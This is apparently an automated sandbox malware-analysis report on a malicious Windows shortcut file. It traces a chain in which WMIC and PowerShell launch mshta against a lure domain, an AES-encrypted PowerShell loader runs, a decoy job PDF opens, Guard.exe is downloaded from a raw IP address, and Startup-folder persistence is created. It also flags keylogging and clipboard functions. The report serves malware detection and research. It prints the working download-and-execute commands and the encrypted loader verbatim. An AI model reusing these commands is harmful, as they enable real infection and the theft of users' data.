Source: powershell.exe, 00000005.00000002.2174205142.00000237004A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghepduy1325h
Source: powershell.exe, 00000005.00000002.2174205142.0000023700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghepduy1325p
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe.20.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.6:49734 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BB0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

19_2_00007FF6B5BB0A6C

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BB0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

19_2_00007FF6B5BB0D24

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

19_2_00007FF6B5BB0A6C

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B97E64 GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

19_2_00007FF6B5B97E64

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: This is a third-party compiled AutoIt script.	19_2_00007FF6B5B237B0
Source: dqcwif.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: dqcwif.exe, 00000013.00000000.2367160497.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f2cbdd18-e
Source: dqcwif.exe, 00000013.00000000.2367160497.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_73af01d5-5
Source: dqcwif.exe.9.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2cb54c54-8
Source: dqcwif.exe.9.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_4842f149-6

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000000.00000002.2144657834.000001E99E280000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C:\Users\user\Desktop\C:\Windows\System32\Wbem\wmic.exe"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')"C:\Users\user\Desktop\7A2lfjTYNf.lnkWinsta0\Default

memstr_70867194-b

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\dqcwif.exe			Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Windows shortcut file (LNK) contains suspicious command line arguments

Source: 7A2lfjTYNf.lnk

LNK file: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')"

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BA3E20: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

19_2_00007FF6B5BA3E20

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B8D2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

19_2_00007FF6B5B8D2C4

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B9D750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

19_2_00007FF6B5B9D750

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BBF630	19_2_00007FF6B5BBF630
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB56A0	19_2_00007FF6B5BB56A0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B595B0	19_2_00007FF6B5B595B0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B358D0	19_2_00007FF6B5B358D0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B4F8D0	19_2_00007FF6B5B4F8D0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9D87C	19_2_00007FF6B5B9D87C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B2183C	19_2_00007FF6B5B2183C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B61840	19_2_00007FF6B5B61840
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BD17C0	19_2_00007FF6B5BD17C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B51750	19_2_00007FF6B5B51750
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B6529C	19_2_00007FF6B5B6529C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB32AC	19_2_00007FF6B5BB32AC
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B2B390	19_2_00007FF6B5B2B390
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B4BEB4	19_2_00007FF6B5B4BEB4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B2BE70	19_2_00007FF6B5B2BE70
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B4C130	19_2_00007FF6B5B4C130
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB206C	19_2_00007FF6B5BB206C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B25F3C	19_2_00007FF6B5B25F3C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BCDB18	19_2_00007FF6B5BCDB18
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B3FA4F	19_2_00007FF6B5B3FA4F
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BCBA0C	19_2_00007FF6B5BCBA0C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA1A18	19_2_00007FF6B5BA1A18
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B2B9F0	19_2_00007FF6B5B2B9F0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B5793C	19_2_00007FF6B5B5793C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B33C20	19_2_00007FF6B5B33C20
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BCC6D4	19_2_00007FF6B5BCC6D4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BCA59C	19_2_00007FF6B5BCA59C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BC055C	19_2_00007FF6B5BC055C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B5A8A0	19_2_00007FF6B5B5A8A0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B667F0	19_2_00007FF6B5B667F0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB6320	19_2_00007FF6B5BB6320
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B402C4	19_2_00007FF6B5B402C4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B44514	19_2_00007FF6B5B44514
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B584C0	19_2_00007FF6B5B584C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B4C3FC	19_2_00007FF6B5B4C3FC
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B62400	19_2_00007FF6B5B62400
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA83D4	19_2_00007FF6B5BA83D4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB8360	19_2_00007FF6B5BB8360
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B40E90	19_2_00007FF6B5B40E90
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BCCE8C	19_2_00007FF6B5BCCE8C
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B30E70	19_2_00007FF6B5B30E70
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B32E30	19_2_00007FF6B5B32E30
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B66DE4	19_2_00007FF6B5B66DE4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B530DC	19_2_00007FF6B5B530DC
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B22AE0	19_2_00007FF6B5B22AE0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BC0AEC	19_2_00007FF6B5BC0AEC
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B62D20	19_2_00007FF6B5B62D20
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB6C34	19_2_00007FF6B5BB6C34
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD33703973	24_2_00007FFD33703973

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Guard.exe D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: String function: 00007FF6B5B48D58 appears 76 times

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2554
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2554			Jump to behavior

Source: classification engine

Classification label: mal100.expl.evad.winLNK@43/61@8/3

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BA3778 GetLastError,FormatMessageW,

19_2_00007FF6B5BA3778

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B8D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		19_2_00007FF6B5B8D5CC
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B8CCE0 AdjustTokenPrivileges,CloseHandle,		19_2_00007FF6B5B8CCE0

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BA58C4 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

19_2_00007FF6B5BA58C4

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B9BE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

19_2_00007FF6B5B9BE00

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BA5F2C CoInitialize,CoCreateInstance,CoUninitialize,

19_2_00007FF6B5BA5F2C

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B26580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

19_2_00007FF6B5B26580

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2924:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zd5ndduv.ekm.ps1

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7A2lfjTYNf.lnk	Virustotal: Detection: 25%
Source: 7A2lfjTYNf.lnk	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Job_Description.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,13836792171696391892,6566973636645197800,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dqcwif.exe "C:\Users\user\AppData\Roaming\dqcwif.exe"
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 